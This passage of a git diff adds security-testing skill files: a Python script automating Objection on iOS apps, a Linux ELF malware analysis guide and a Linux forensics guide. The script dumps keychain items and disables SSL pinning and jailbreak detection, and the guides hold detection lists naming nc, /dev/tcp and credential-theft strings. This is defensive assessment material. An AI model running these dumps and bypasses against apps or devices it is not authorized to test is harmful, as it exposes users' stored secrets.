targeted bypass] +``` + +## Decision Matrix: Testing Approach + +| Device State | IPA Access | Approach | +|-------------|-----------|----------| +| Jailbroken | Not needed | Direct Frida server + Objection attach | +| Non-jailbroken | Available | Patch IPA with `objection patchipa` | +| Non-jailbroken | Not available | Request IPA from client or use device management | +| Emulator | N/A | Limited: Frida on Corellium or similar platform | diff --git a/skills/analyzing-ios-app-security-with-objection/scripts/process.py b/skills/analyzing-ios-app-security-with-objection/scripts/process.py new file mode 100644 index 00000000..e2362fe3 --- /dev/null +++ b/skills/analyzing-ios-app-security-with-objection/scripts/process.py @@ -0,0 +1,294 @@ +#!/usr/bin/env python3 +""" +Objection iOS Security Assessment Automation + +Automates common Objection commands for iOS app security testing. +Runs keychain dump, storage inspection, SSL pinning check, and jailbreak detection analysis. + +Usage: + python process.py --bundle-id com.target.app [--device-id UDID] [--output report.json] +""" + +import argparse +import json +import subprocess +import sys +import re +from datetime import datetime +from pathlib import Path + + +class ObjectionAssessor: + """Automates Objection-based iOS security assessment tasks.""" + + def __init__(self, bundle_id: str, device_id: str = None): + self.bundle_id = bundle_id + self.device_id = device_id + self.findings = [] + + def _run_objection_command(self, command: str, timeout: int = 30) -> str: + """Execute an Objection command and return output.""" + cmd = ["objection", "--gadget", self.bundle_id, "run", command] + if self.device_id: + cmd.insert(1, "--serial") + cmd.insert(2, self.device_id) + + try: + result = subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=timeout, + ) + return result.stdout + result.stderr + except subprocess.TimeoutExpired: + return f"TIMEOUT: Command '{command}' exceeded {timeout}s" + except FileNotFoundError: + return "ERROR: Objection not found. Install with: pip install objection" + + def _run_frida_command(self, script: str, timeout: int = 15) -> str: + """Execute a Frida script snippet.""" + cmd = ["frida", "-U", "-n", self.bundle_id, "-e", script] + if self.device_id: + cmd.extend(["-D", self.device_id]) + + try: + result = subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=timeout, + ) + return result.stdout + except (subprocess.TimeoutExpired, FileNotFoundError): + return "" + + def check_frida_connectivity(self) -> dict: + """Verify Frida can connect to the device.""" + cmd = ["frida-ps", "-U"] + if self.device_id: + cmd.extend(["-D", self.device_id]) + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) + connected = result.returncode == 0 + processes = len(result.stdout.strip().split("\n")) - 1 if connected else 0 + return { + "connected": connected, + "process_count": processes, + "target_running": self.bundle_id in result.stdout, + } + except (subprocess.TimeoutExpired, FileNotFoundError): + return {"connected": False, "process_count": 0, "target_running": False} + + def dump_keychain(self) -> dict: + """Dump keychain items accessible to the app.""" + output = self._run_objection_command("ios keychain dump") + items = [] + current_item = {} + + for line in output.split("\n"): + line = line.strip() + if "Service" in line and ":" in line: + if current_item: + items.append(current_item) + current_item = {"service": line.split(":", 1)[-1].strip()} + elif "Account" in line and ":" in line: + current_item["account"] = line.split(":", 1)[-1].strip() + elif "Data" in line and ":" in line: + data = line.split(":", 1)[-1].strip() + current_item["data_preview"] = data[:50] + "..." if len(data) > 50 else data + current_item["data_length"] = len(data) + + if current_item: + items.append(current_item) + + finding = { + "check": "keychain_dump", + "category": "MASVS-STORAGE", + "owasp_mobile": "M9", + "items_found": len(items), + "items": items[:20], + "severity": "HIGH" if items else "INFO", + "description": f"Found {len(items)} keychain items accessible to the application", + } + self.findings.append(finding) + return finding + + def check_nsuserdefaults(self) -> dict: + """Inspect NSUserDefaults for sensitive data.""" + output = self._run_objection_command("ios nsuserdefaults get") + sensitive_patterns = [ + "password", "token", "secret", "key", "auth", + "session", "credential", "api_key", "apikey", + ] + + sensitive_entries = [] + for line in output.split("\n"): + line_lower = line.lower() + for pattern in sensitive_patterns: + if pattern in line_lower: + sensitive_entries.append(line.strip()) + break + + finding = { + "check": "nsuserdefaults", + "category": "MASVS-STORAGE", + "owasp_mobile": "M9", + "sensitive_entries": len(sensitive_entries), + "entries": sensitive_entries[:10], + "severity": "HIGH" if sensitive_entries else "PASS", + "description": f"Found {len(sensitive_entries)} potentially sensitive NSUserDefaults entries", + } + self.findings.append(finding) + return finding + + def check_ssl_pinning(self) -> dict: + """Assess SSL pinning implementation.""" + output = self._run_objection_command("ios sslpinning disable") + pinning_detected = "pinning" in output.lower() or "hook" in output.lower() + + finding = { + "check": "ssl_pinning", + "category": "MASVS-NETWORK", + "owasp_mobile": "M5", + "pinning_detected": pinning_detected, + "bypass_output": output[:500], + "severity": "MEDIUM" if not pinning_detected else "INFO", + "description": "SSL pinning " + ("detected and bypassed" if pinning_detected else "not detected"), + } + self.findings.append(finding) + return finding + + def check_jailbreak_detection(self) -> dict: + """Assess jailbreak detection implementation.""" + output = self._run_objection_command("ios jailbreak disable") + detection_found = "hook" in output.lower() or "bypass" in output.lower() + + finding = { + "check": "jailbreak_detection", + "category": "MASVS-RESILIENCE", + "owasp_mobile": "M7", + "detection_implemented": detection_found, + "bypass_output": output[:500], + "severity": "MEDIUM" if not detection_found else "INFO", + "description": "Jailbreak detection " + ("found" if detection_found else "not found or not implemented"), + } + self.findings.append(finding) + return finding + + def search_sensitive_memory(self) -> dict: + """Search app memory for sensitive strings.""" + patterns = ["password", "Bearer ", "eyJ", "api_key", "secret"] + memory_findings = [] + + for pattern in patterns: + output = self._run_objection_command(f'memory search "{pattern}" --string') + matches = output.count("Found") + if matches > 0: + memory_findings.append({ + "pattern": pattern, + "matches": matches, + }) + + finding = { + "check": "memory_search", + "category": "MASVS-STORAGE", + "owasp_mobile": "M9", + "patterns_with_matches": len(memory_findings), + "details": memory_findings, + "severity": "HIGH" if memory_findings else "PASS", + "description": f"Found sensitive patterns in memory for {len(memory_findings)} search terms", + } + self.findings.append(finding) + return finding + + def get_app_info(self) -> dict: + """Gather basic app information.""" + output = self._run_objection_command("ios info binary") + env_output = self._run_objection_command("env") + + return { + "bundle_id": self.bundle_id, + "binary_info": output[:1000], + "environment": env_output[:1000], + } + + def generate_report(self) -> dict: + """Generate consolidated assessment report.""" + severity_counts = {"HIGH": 0, "MEDIUM": 0, "LOW": 0, "INFO": 0, "PASS": 0} + for f in self.findings: + sev = f.get("severity", "INFO") + severity_counts[sev] = severity_counts.get(sev, 0) + 1 + + return { + "assessment": { + "target": self.bundle_id, + "date": datetime.now().isoformat(), + "tool": "Objection (Frida-powered)", + "type": "iOS Runtime Security Assessment", + }, + "summary": { + "total_checks": len(self.findings), + "severity_breakdown": severity_counts, + "critical_findings": [ + f for f in self.findings if f.get("severity") in ("HIGH", "CRITICAL") + ], + }, + "findings": self.findings, + } + + +def main(): + parser = argparse.ArgumentParser( + description="Objection iOS Security Assessment Automation" + ) + parser.add_argument("--bundle-id", required=True, help="iOS app bundle identifier") + parser.add_argument("--device-id", help="Device UDID for targeting specific device") + parser.add_argument("--output", default="objection_report.json", help="Output report path") + parser.add_argument("--checks", nargs="+", + default=["keychain", "nsuserdefaults", "ssl", "jailbreak", "memory"], + help="Checks to run") + args = parser.parse_args() + + assessor = ObjectionAssessor(args.bundle_id, args.device_id) + + # Verify connectivity + connectivity = assessor.check_frida_connectivity() + if not connectivity["connected"]: + print("[-] ERROR: Cannot connect to device via Frida") + print(" Ensure Frida server is running on device or IPA is patched") + sys.exit(1) + + print(f"[+] Connected to device. Target running: {connectivity['target_running']}") + + # Run selected checks + check_map = { + "keychain": assessor.dump_keychain, + "nsuserdefaults": assessor.check_nsuserdefaults, + "ssl": assessor.check_ssl_pinning, + "jailbreak": assessor.check_jailbreak_detection, + "memory": assessor.search_sensitive_memory, + } + + for check in args.checks: + if check in check_map: + print(f"[*] Running check: {check}") + result = check_map[check]() + print(f" Severity: {result['severity']} - {result['description']}") + + # Generate report + report = assessor.generate_report() + + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved: {args.output}") + + # Summary + high_count = report["summary"]["severity_breakdown"].get("HIGH", 0) + if high_count > 0: + print(f"[!] {high_count} HIGH severity findings require attention") + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-linux-elf-malware/SKILL.md b/skills/analyzing-linux-elf-malware/SKILL.md new file mode 100644 index 00000000..d684200e --- /dev/null +++ b/skills/analyzing-linux-elf-malware/SKILL.md @@ -0,0 +1,331 @@ +--- +name: analyzing-linux-elf-malware +description: > + Analyzes malicious Linux ELF (Executable and Linkable Format) binaries including botnets, + cryptominers, ransomware, and rootkits targeting Linux servers, containers, and cloud + infrastructure. Covers static analysis, dynamic tracing, and reverse engineering of + x86_64 and ARM ELF samples. Activates for requests involving Linux malware analysis, + ELF binary investigation, Linux server compromise assessment, or container malware analysis. +domain: cybersecurity +subdomain: malware-analysis +tags: [malware, Linux, ELF, reverse-engineering, server-malware] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Analyzing Linux ELF Malware + +## When to Use + +- A Linux server or container has been compromised and suspicious ELF binaries are found +- Analyzing Linux botnets (Mirai, Gafgyt, XorDDoS), cryptominers, or ransomware +- Investigating malware targeting cloud infrastructure, Docker containers, or Kubernetes pods +- Reverse engineering Linux rootkits and kernel modules +- Analyzing cross-platform malware compiled for Linux x86_64, ARM, or MIPS architectures + +**Do not use** for Windows PE binary analysis; use PEStudio, Ghidra, or IDA for Windows malware. + +## Prerequisites + +- Ghidra or IDA with Linux ELF support for disassembly and decompilation +- Linux analysis VM (Ubuntu 22.04 recommended) with development tools installed +- strace, ltrace, and GDB for dynamic analysis and debugging +- readelf, objdump, and nm from GNU binutils for static inspection +- Radare2 for quick binary triage and scripted analysis +- Docker for isolated container-based malware execution + +## Workflow + +### Step 1: Identify ELF Binary Properties + +Examine the ELF header and basic properties: + +```bash +# File type identification +file suspect_binary + +# Detailed ELF header analysis +readelf -h suspect_binary + +# Section headers +readelf -S suspect_binary + +# Program headers (segments) +readelf -l suspect_binary + +# Symbol table (if not stripped) +readelf -s suspect_binary +nm suspect_binary 2>/dev/null + +# Dynamic linking information +readelf -d suspect_binary +ldd suspect_binary 2>/dev/null # Only on matching architecture! + +# Compute hashes +md5sum suspect_binary +sha256sum suspect_binary + +# Check for packing/UPX +upx -t suspect_binary +``` + +```python +# Python-based ELF analysis +from elftools.elf.elffile import ELFFile +import hashlib + +with open("suspect_binary", "rb") as f: + data = f.read() + sha256 = hashlib.sha256(data).hexdigest() + +with open("suspect_binary", "rb") as f: + elf = ELFFile(f) + + print(f"SHA-256: {sha256}") + print(f"Class: {elf.elfclass}-bit") + print(f"Endian: {elf.little_endian and 'Little' or 'Big'}") + print(f"Machine: {elf.header.e_machine}") + print(f"Type: {elf.header.e_type}") + print(f"Entry Point: 0x{elf.header.e_entry:X}") + + # Check if stripped + symtab = elf.get_section_by_name('.symtab') + print(f"Stripped: {'Yes' if symtab is None else 'No'}") + + # Section entropy analysis + import math + from collections import Counter + for section in elf.iter_sections(): + data = section.data() + if len(data) > 0: + entropy = -sum((c/len(data)) * math.log2(c/len(data)) + for c in Counter(data).values() if c > 0) + if entropy > 7.0: + print(f" [!] High entropy section: {section.name} ({entropy:.2f})") +``` + +### Step 2: Extract Strings and Indicators + +Search for embedded IOCs and functionality clues: + +```bash +# ASCII strings +strings suspect_binary > strings_output.txt + +# Search for network indicators +grep -iE "(http|https|ftp)://" strings_output.txt +grep -iE "([0-9]{1,3}\.){3}[0-9]{1,3}" strings_output.txt +grep -iE "[a-zA-Z0-9.-]+\.(com|net|org|io|ru|cn)" strings_output.txt + +# Search for shell commands +grep -iE "(bash|sh|wget|curl|chmod|/tmp/|/dev/)" strings_output.txt + +# Search for crypto mining indicators +grep -iE "(stratum|xmr|monero|pool\.|mining)" strings_output.txt + +# Search for SSH/credential theft +grep -iE "(ssh|authorized_keys|id_rsa|shadow|passwd)" strings_output.txt + +# Search for persistence mechanisms +grep -iE "(crontab|systemd|init\.d|rc\.local|ld\.so\.preload)" strings_output.txt + +# FLOSS for obfuscated strings (if available) +floss suspect_binary +``` + +### Step 3: Analyze System Calls and Library Usage + +Identify what system calls and libraries the malware uses: + +```bash +# List imported functions (dynamically linked) +readelf -r suspect_binary | grep -E "socket|connect|exec|fork|open|write|bind|listen" + +# Trace system calls during execution (in isolated VM only) +strace -f -e trace=network,process,file -o strace_output.txt ./suspect_binary + +# Trace library calls +ltrace -f -o ltrace_output.txt ./suspect_binary + +# Key system calls to watch: +# Network: socket, connect, bind, listen, accept, sendto, recvfrom +# Process: fork, execve, clone, kill, ptrace +# File: open, read, write, unlink, rename, chmod +# Persistence: inotify_add_watch (file monitoring) +``` + +### Step 4: Dynamic Analysis with GDB + +Debug the malware to observe runtime behavior: + +```bash +# Start GDB with the binary +gdb ./suspect_binary + +# Set breakpoints on key functions +(gdb) break main +(gdb) break socket +(gdb) break connect +(gdb) break execve +(gdb) break fork + +# Run and analyze +(gdb) run +(gdb) info registers # View register state +(gdb) x/20s $rdi # Examine string argument +(gdb) bt # Backtrace +(gdb) continue + +# For stripped binaries, break on entry point +(gdb) break *0x400580 # Entry point from readelf +(gdb) run + +# Monitor network connections during execution +# In another terminal: +ss -tlnp # List listening sockets +ss -tnp # List established connections +``` + +### Step 5: Reverse Engineer with Ghidra + +Perform deep code analysis on the ELF binary: + +``` +Ghidra Analysis for Linux ELF: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +1. Import: File -> Import -> Select ELF binary + - Ghidra auto-detects ELF format and architecture + - Accept default analysis options + +2. Key analysis targets: + - main() function (or entry point if stripped) + - Socket creation and connection functions + - Command dispatch logic (switch/case on received data) + - Encryption/encoding routines + - Persistence installation code + - Self-propagation/scanning functions + +3. For Mirai-like botnets, look for: + - Credential list for brute-forcing (telnet/SSH) + - Attack module selection (UDP flood, SYN flood, ACK flood) + - Scanner module (port scanning for vulnerable devices) + - Killer module (killing competing botnets) + +4. For cryptominers, look for: + - Mining pool connection (stratum protocol) + - Wallet address strings + - CPU/GPU utilization functions + - Process hiding techniques +``` + +### Step 6: Analyze Linux-Specific Persistence + +Check for persistence mechanisms: + +```bash +# Check for LD_PRELOAD rootkit +strings suspect_binary | grep "ld.so.preload" +# Malware writing to /etc/ld.so.preload can hook all dynamic library calls + +# Check for crontab persistence +strings suspect_binary | grep -i "cron" + +# Check for systemd service creation +strings suspect_binary | grep -iE "systemd|\.service|systemctl" + +# Check for init script creation +strings suspect_binary | grep -iE "init\.d|rc\.local|update-rc" + +# Check for SSH key injection +strings suspect_binary | grep -i "authorized_keys" + +# Check for kernel module (rootkit) loading +strings suspect_binary | grep -iE "insmod|modprobe|init_module" + +# Check for process hiding +strings suspect_binary | grep -iE "proc|readdir|getdents" +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **ELF (Executable and Linkable Format)** | Standard binary format for Linux executables, shared libraries, and core dumps containing headers, sections, and segments | +| **Stripped Binary** | ELF binary with debug symbols removed, making reverse engineering more difficult as function names are lost | +| **LD_PRELOAD** | Linux environment variable specifying shared libraries to load before all others; abused by rootkits to intercept system library calls | +| **strace** | Linux system call tracer that logs all system calls and signals made by a process, revealing file, network, and process operations | +| **GOT/PLT** | Global Offset Table and Procedure Linkage Table; ELF structures for dynamic linking that can be hijacked for function hooking | +| **Statically Linked** | Binary compiled with all library code included; common in IoT malware to run on systems without matching shared libraries | +| **Mirai** | Prolific Linux botnet targeting IoT devices via telnet brute-force; source code leaked, leading to many variants | + +## Tools & Systems + +- **Ghidra**: NSA reverse engineering tool with full ELF support for x86, x86_64, ARM, MIPS, and other Linux architectures +- **Radare2**: Open-source reverse engineering framework with command-line interface for quick binary analysis and scripting +- **strace**: Linux system call tracing tool for observing binary behavior including file, network, and process operations +- **GDB**: GNU Debugger for setting breakpoints, examining memory, and stepping through Linux binary execution +- **pyelftools**: Python library for parsing ELF files programmatically for automated analysis pipelines + +## Common Scenarios + +### Scenario: Analyzing a Cryptominer Found on a Compromised Linux Server + +**Context**: A cloud server shows 100% CPU usage. Investigation reveals an unknown binary running from /tmp with a suspicious name. The binary needs analysis to confirm it is a cryptominer and identify the attacker's wallet and pool. + +**Approach**: +1. Copy the binary to an analysis VM and compute SHA-256 hash +2. Run `file` and `readelf` to identify architecture and linking type +3. Extract strings and search for mining pool addresses (stratum+tcp://) and wallet addresses +4. Run with strace in a sandbox to observe network connections (mining pool connection) +5. Import into Ghidra to identify the mining algorithm and configuration extraction +6. Check for persistence mechanisms (crontab, systemd service, SSH keys) +7. Document all IOCs including pool address, wallet, C2 for updates, and persistence artifacts + +**Pitfalls**: +- Running `ldd` on malware outside a sandbox (ldd can execute code in the binary) +- Not checking for ARM/MIPS architecture before attempting x86_64 execution +- Missing companion scripts (.sh files) that may handle persistence and cleanup +- Ignoring the initial access vector (how the miner was deployed: SSH brute force, web exploit, container escape) + +## Output Format + +``` +LINUX ELF MALWARE ANALYSIS REPORT +==================================== +File: /tmp/.X11-unix/.rsync +SHA-256: e3b0c44298fc1c149afbf4c8996fb924... +Type: ELF 64-bit LSB executable, x86-64 +Linking: Statically linked (all libraries embedded) +Stripped: Yes +Size: 2,847,232 bytes +Packer: UPX 3.96 (unpacked for analysis) + +CLASSIFICATION +Family: XMRig Cryptominer (modified) +Variant: Custom build with C2 update mechanism + +FUNCTIONALITY +[*] XMR (Monero) mining via RandomX algorithm +[*] Stratum pool connection for work submission +[*] C2 check-in for configuration updates +[*] Process name masquerading (argv[0] = "[kworker/0:0]") +[*] Competitor process killing (kills other miners) +[*] SSH key injection for re-access + +NETWORK INDICATORS +Mining Pool: stratum+tcp://pool.minexmr[.]com:4444 +C2 Server: hxxp://update.malicious[.]com/config +Wallet: 49jZ5Q3b...Monero_Wallet_Address... + +PERSISTENCE +[1] Crontab entry: */5 * * * * /tmp/.X11-unix/.rsync +[2] SSH key added to /root/.ssh/authorized_keys +[3] Systemd service: /etc/systemd/system/rsync-daemon.service +[4] Modified /etc/ld.so.preload for process hiding + +PROCESS HIDING +LD_PRELOAD: /usr/lib/.libsystem.so +Hook: readdir() to hide /tmp/.X11-unix/.rsync from ls +Hook: fopen() to hide from /proc/*/maps reading +``` diff --git a/skills/analyzing-linux-system-artifacts/SKILL.md b/skills/analyzing-linux-system-artifacts/SKILL.md new file mode 100644 index 00000000..26e18ae9 --- /dev/null +++ b/skills/analyzing-linux-system-artifacts/SKILL.md @@ -0,0 +1,320 @@ +--- +name: analyzing-linux-system-artifacts +description: Examine Linux system artifacts including auth logs, cron jobs, shell history, and system configuration to uncover evidence of compromise or unauthorized activity. +domain: cybersecurity +subdomain: digital-forensics +tags: [forensics, linux-forensics, system-artifacts, log-analysis, persistence-detection, incident-investigation] +version: "1.0" +author: mahipal +license: MIT +--- + +# Analyzing Linux System Artifacts + +## When to Use +- When investigating a compromised Linux server or workstation +- For identifying persistence mechanisms (cron, systemd, SSH keys) +- When tracing user activity through shell history and authentication logs +- During incident response to determine the scope of a Linux-based breach +- For detecting rootkits, backdoors, and unauthorized modifications + +## Prerequisites +- Forensic image or live access to the Linux system (read-only) +- Understanding of Linux file system hierarchy (FHS) +- Knowledge of common Linux logging locations (/var/log/) +- Tools: chkrootkit, rkhunter, AIDE, auditd logs +- Familiarity with systemd, cron, and PAM configurations +- Root access for complete artifact collection + +## Workflow + +### Step 1: Mount and Collect System Artifacts + +```bash +# Mount forensic image read-only +mount -o ro,loop,offset=$((2048*512)) /cases/case-2024-001/images/linux_evidence.dd /mnt/evidence + +# Create collection directories +mkdir -p /cases/case-2024-001/linux/{logs,config,users,persistence,network} + +# Collect authentication logs +cp /mnt/evidence/var/log/auth.log* /cases/case-2024-001/linux/logs/ +cp /mnt/evidence/var/log/secure* /cases/case-2024-001/linux/logs/ +cp /mnt/evidence/var/log/syslog* /cases/case-2024-001/linux/logs/ +cp /mnt/evidence/var/log/kern.log* /cases/case-2024-001/linux/logs/ +cp /mnt/evidence/var/log/audit/audit.log* /cases/case-2024-001/linux/logs/ +cp /mnt/evidence/var/log/wtmp /cases/case-2024-001/linux/logs/ +cp /mnt/evidence/var/log/btmp /cases/case-2024-001/linux/logs/ +cp /mnt/evidence/var/log/lastlog /cases/case-2024-001/linux/logs/ +cp /mnt/evidence/var/log/faillog /cases/case-2024-001/linux/logs/ + +# Collect user artifacts +for user_dir in /mnt/evidence/home/*/; do + username=$(basename "$user_dir") + mkdir -p /cases/case-2024-001/linux/users/$username + cp "$user_dir"/.bash_history /cases/case-2024-001/linux/users/$username/ 2>/dev/null + cp "$user_dir"/.zsh_history /cases/case-2024-001/linux/users/$username/ 2>/dev/null + cp -r "$user_dir"/.ssh/ /cases/case-2024-001/linux/users/$username/ 2>/dev/null + cp "$user_dir"/.bashrc /cases/case-2024-001/linux/users/$username/ 2>/dev/null + cp "$user_dir"/.profile /cases/case-2024-001/linux/users/$username/ 2>/dev/null + cp "$user_dir"/.viminfo /cases/case-2024-001/linux/users/$username/ 2>/dev/null + cp "$user_dir"/.wget-hsts /cases/case-2024-001/linux/users/$username/ 2>/dev/null + cp "$user_dir"/.python_history /cases/case-2024-001/linux/users/$username/ 2>/dev/null +done + +# Collect root user artifacts +cp /mnt/evidence/root/.bash_history /cases/case-2024-001/linux/users/root/ 2>/dev/null +cp -r /mnt/evidence/root/.ssh/ /cases/case-2024-001/linux/users/root/ 2>/dev/null + +# Collect system configuration +cp /mnt/evidence/etc/passwd /cases/case-2024-001/linux/config/ +cp /mnt/evidence/etc/shadow /cases/case-2024-001/linux/config/ +cp /mnt/evidence/etc/group /cases/case-2024-001/linux/config/ +cp /mnt/evidence/etc/sudoers /cases/case-2024-001/linux/config/ +cp -r /mnt/evidence/etc/sudoers.d/ /cases/case-2024-001/linux/config/ +cp /mnt/evidence/etc/hosts /cases/case-2024-001/linux/config/ +cp /mnt/evidence/etc/resolv.conf /cases/case-2024-001/linux/config/ +cp -r /mnt/evidence/etc/ssh/ /cases/case-2024-001/linux/config/ +``` + +### Step 2: Analyze User Accounts and Authentication + +```bash +# Analyze user accounts for anomalies +python3 << 'PYEOF' +print("=== USER ACCOUNT ANALYSIS ===\n") + +# Parse /etc/passwd +with open('/cases/case-2024-001/linux/config/passwd') as f: + for line in f: + parts = line.strip().split(':') + if len(parts) >= 7: + username, _, uid, gid, comment, home, shell = parts[0], parts[1], int(parts[2]), int(parts[3]), parts[4], parts[5], parts[6] + + # Flag accounts with UID 0 (root equivalent) + if uid == 0 and username != 'root': + print(f" ALERT: UID 0 account: {username} (shell: {shell})") + + # Flag accounts with login shells that shouldn't have them + if shell not in ('/bin/false', '/usr/sbin/nologin', '/bin/sync') and uid >= 1000: + print(f" User: {username} (UID:{uid}, Shell:{shell}, Home:{home})") + + # Flag system accounts with login shells + if uid < 1000 and uid > 0 and shell in ('/bin/bash', '/bin/sh', '/bin/zsh'): + print(f" WARNING: System account with shell: {username} (UID:{uid}, Shell:{shell})") + +# Parse /etc/shadow for account status +print("\n=== PASSWORD STATUS ===") +with open('/cases/case-2024-001/linux/config/shadow') as f: + for line in f: + parts = line.strip().split(':') + if len(parts) >= 3: + username = parts[0] + pwd_hash = parts[1] + last_change = parts[2] + + if pwd_hash and pwd_hash not in ('*', '!', '!!', ''): + hash_type = 'Unknown' + if pwd_hash.startswith('$6$'): hash_type = 'SHA-512' + elif pwd_hash.startswith('$5$'): hash_type = 'SHA-256' + elif pwd_hash.startswith('$y$'): hash_type = 'yescrypt' + elif pwd_hash.startswith('$1$'): hash_type = 'MD5 (WEAK)' + print(f" {username}: {hash_type} hash, last changed: day {last_change}") +PYEOF + +# Analyze login history +last -f /cases/case-2024-001/linux/logs/wtmp > /cases/case-2024-001/linux/analysis/login_history.txt +lastb -f /cases/case-2024-001/linux/logs/btmp > /cases/case-2024-001/linux/analysis/failed_logins.txt 2>/dev/null +``` + +### Step 3: Examine Persistence Mechanisms + +```bash +# Check cron jobs for all users +echo "=== CRON JOBS ===" > /cases/case-2024-001/linux/persistence/cron_analysis.txt + +# System cron +for cronfile in /mnt/evidence/etc/crontab /mnt/evidence/etc/cron.d/*; do + echo "--- $cronfile ---" >> /cases/case-2024-001/linux/persistence/cron_analysis.txt + cat "$cronfile" 2>/dev/null >> /cases/case-2024-001/linux/persistence/cron_analysis.txt + echo "" >> /cases/case-2024-001/linux/persistence/cron_analysis.txt +done + +# User cron tabs +for cronfile in /mnt/evidence/var/spool/cron/crontabs/*; do + echo "--- User crontab: $(basename $cronfile) ---" >> /cases/case-2024-001/linux/persistence/cron_analysis.txt + cat "$cronfile" 2>/dev/null >> /cases/case-2024-001/linux/persistence/cron_analysis.txt + echo "" >> /cases/case-2024-001/linux/persistence/cron_analysis.txt +done + +# Check systemd services for persistence +echo "=== SYSTEMD SERVICES ===" > /cases/case-2024-001/linux/persistence/systemd_analysis.txt +find /mnt/evidence/etc/systemd/system/ -name "*.service" -newer /mnt/evidence/etc/os-release \ + >> /cases/case-2024-001/linux/persistence/systemd_analysis.txt + +for svc in /mnt/evidence/etc/systemd/system/*.service; do + echo "--- $(basename $svc) ---" >> /cases/case-2024-001/linux/persistence/systemd_analysis.txt + cat "$svc" >> /cases/case-2024-001/linux/persistence/systemd_analysis.txt + echo "" >> /cases/case-2024-001/linux/persistence/systemd_analysis.txt +done + +# Check authorized SSH keys (backdoor detection) +echo "=== SSH AUTHORIZED KEYS ===" > /cases/case-2024-001/linux/persistence/ssh_keys.txt +find /mnt/evidence/home/ /mnt/evidence/root/ -name "authorized_keys" -exec sh -c \ + 'echo "--- {} ---"; cat {}; echo ""' \; >> /cases/case-2024-001/linux/persistence/ssh_keys.txt + +# Check rc.local and init scripts +cat /mnt/evidence/etc/rc.local 2>/dev/null > /cases/case-2024-001/linux/persistence/rc_local.txt + +# Check /etc/profile.d/ for login-triggered scripts +ls -la /mnt/evidence/etc/profile.d/ > /cases/case-2024-001/linux/persistence/profile_scripts.txt + +# Check for LD_PRELOAD hijacking +grep -r "LD_PRELOAD" /mnt/evidence/etc/ 2>/dev/null > /cases/case-2024-001/linux/persistence/ld_preload.txt +cat /mnt/evidence/etc/ld.so.preload 2>/dev/null >> /cases/case-2024-001/linux/persistence/ld_preload.txt +``` + +### Step 4: Analyze Shell History and Command Execution + +```bash +# Analyze bash history for each user +python3 << 'PYEOF' +import os, glob + +print("=== SHELL HISTORY ANALYSIS ===\n") + +suspicious_commands = [ + 'wget', 'curl', 'nc ', 'ncat', 'netcat', 'python -c', 'python3 -c', + 'perl -e', 'base64', 'chmod 777', 'chmod +s', '/dev/tcp', '/dev/udp', + 'nmap', 'masscan', 'hydra', 'john', 'hashcat', 'passwd', 'useradd', + 'iptables -F', 'ufw disable', 'history -c', 'rm -rf /', 'dd if=', + 'crontab', 'at ', 'systemctl enable', 'ssh-keygen', 'scp ', 'rsync', + 'tar czf', 'zip -r', 'openssl enc', 'gpg --encrypt', 'shred', + 'chattr', 'setfacl', 'awk', '/tmp/', '/dev/shm/' +] + +for hist_file in glob.glob('/cases/case-2024-001/linux/users/*/.bash_history'): + username = hist_file.split('/')[-2] + print(f"User: {username}") + + with open(hist_file, 'r', errors='ignore') as f: + lines = f.readlines() + + print(f" Total commands: {len(lines)}") + flagged = [] + for i, line in enumerate(lines): + line = line.strip() + for cmd in suspicious_commands: + if cmd in line.lower(): + flagged.append((i+1, line)) + break + + if flagged: + print(f" Suspicious commands: {len(flagged)}") + for lineno, cmd in flagged: + print(f" Line {lineno}: {cmd[:120]}") + print() +PYEOF +``` + +### Step 5: Check for Rootkits and Modified Binaries + +```bash +# Check for known rootkit indicators +# Compare system binary hashes against known-good +find /mnt/evidence/usr/bin/ /mnt/evidence/usr/sbin/ /mnt/evidence/bin/ /mnt/evidence/sbin/ \ + -type f -executable -exec sha256sum {} \; > /cases/case-2024-001/linux/analysis/binary_hashes.txt + +# Check for SUID/SGID binaries (potential privilege escalation) +find /mnt/evidence/ -perm -4000 -type f 2>/dev/null > /cases/case-2024-001/linux/analysis/suid_files.txt +find /mnt/evidence/ -perm -2000 -type f 2>/dev/null > /cases/case-2024-001/linux/analysis/sgid_files.txt + +# Check for suspicious files in /tmp and /dev/shm +find /mnt/evidence/tmp/ /mnt/evidence/dev/shm/ -type f 2>/dev/null \ + -exec file {} \; > /cases/case-2024-001/linux/analysis/tmp_files.txt + +# Check for hidden files and directories +find /mnt/evidence/ -name ".*" -not -path "*/\." -type f 2>/dev/null | \ + head -100 > /cases/case-2024-001/linux/analysis/hidden_files.txt + +# Check kernel modules +ls -la /mnt/evidence/lib/modules/$(ls /mnt/evidence/lib/modules/ | head -1)/extra/ 2>/dev/null \ + > /cases/case-2024-001/linux/analysis/extra_modules.txt + +# Check for modified PAM configuration (authentication backdoors) +diff /mnt/evidence/etc/pam.d/ /cases/baseline/pam.d/ 2>/dev/null \ + > /cases/case-2024-001/linux/analysis/pam_changes.txt +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| /var/log/auth.log | Primary authentication log on Debian/Ubuntu systems | +| /var/log/secure | Primary authentication log on RHEL/CentOS systems | +| wtmp/btmp | Binary logs recording successful and failed login sessions | +| .bash_history | User command history file (can be cleared by attackers) | +| crontab | Scheduled task system commonly used for persistence | +| authorized_keys | SSH public keys granting passwordless access to an account | +| SUID bit | File permission allowing execution as the file owner (privilege escalation vector) | +| LD_PRELOAD | Environment variable that loads a shared library before all others (hooking technique) | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| chkrootkit | Rootkit detection scanner for Linux systems | +| rkhunter | Rootkit Hunter - checks for rootkits, backdoors, and local exploits | +| AIDE | Advanced Intrusion Detection Environment - file integrity monitor | +| auditd | Linux audit framework for system call and file access monitoring | +| last/lastb | Parse wtmp/btmp for login and failed login history | +| Plaso/log2timeline | Super-timeline creation including Linux artifacts | +| osquery | SQL-based system querying for live forensic investigation | +| Velociraptor | Endpoint agent with Linux artifact collection capabilities | + +## Common Scenarios + +**Scenario 1: SSH Brute Force Followed by Compromise** +Analyze auth.log for failed SSH attempts followed by success, identify the attacking IP, check .bash_history for post-compromise commands, examine authorized_keys for added 